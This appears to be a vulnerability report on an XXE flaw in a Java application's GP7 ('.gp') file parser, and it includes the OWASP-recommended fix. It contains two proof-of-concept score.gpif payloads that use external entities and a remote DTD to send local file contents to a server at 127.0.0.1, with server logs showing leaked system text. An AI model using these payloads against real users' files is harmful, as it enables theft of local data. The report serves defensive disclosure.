This is a resubmission of a private ticket I issued before (15.05.2020):
XML parsers used in the application are not configured to prevent XXE (XML External Entity) attacks. There are a few places where XML are parsed. One example is loading GP7 (".gp") file format, that is a zip containing a few files including one XML file (Content/score.gpif). It is possible to create a valid GP7 file that uses external entity to steal content of users' local files. The only limitation is that stolen file must not contain new line characters, otherwise URL parser will throw an exception (this limitation is common for Java based applications vulnerable to XXE). I haven't confirmed but it is likely that the same applies to GP6 format as they share code responsible for parsing.
Classes using misconfigured XML parser:
private Document getDocument(InputStream stream) { try { return DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(stream); } catch (Throwable throwable) {
Fix proposition
According to OWASP it is recommended to disable external entities this way:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); String FEATURE = "http://apache.org/xml/features/disallow-doctype-decl"; dbf.setFeature(FEATURE, true);
more details: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
I also attach two sample GP7 files triggering the vulnerability and steps to reproduce (they call local server)
- poc1.gp:
Content/score.gpif
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE oob [ <!ENTITY sy SYSTEM "http://127.0.0.1:8000/"> ]> <GPIF> <xxe>&sy;</xxe> [...]
python3 -m http.server127.0.0.1 - - [15/May/2020 17:32:09] "GET / HTTP/1.1" 200 -
Content/score.gpif <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE oob [ <!ENTITY % sy SYSTEM "http://127.0.0.1:8000/ev1.dtd"> %sy; %param1; ]> <GPIF> <xxe>&exfil;</xxe> [...]
python3 -m http.server127.0.0.1 - - [15/May/2020 17:33:32] "GET /ev1.dtd HTTP/1.1" 200 - 127.0.0.1 - - [15/May/2020 17:33:32] code 400, message Bad request syntax ('GET /?Ubuntu 18.04.4 LTS \\n \\l HTTP/1.1') 127.0.0.1 - - [15/May/2020 17:33:32] "GET /?Ubuntu 18.04.4 LTS \n \l HTTP/1.1" 400 -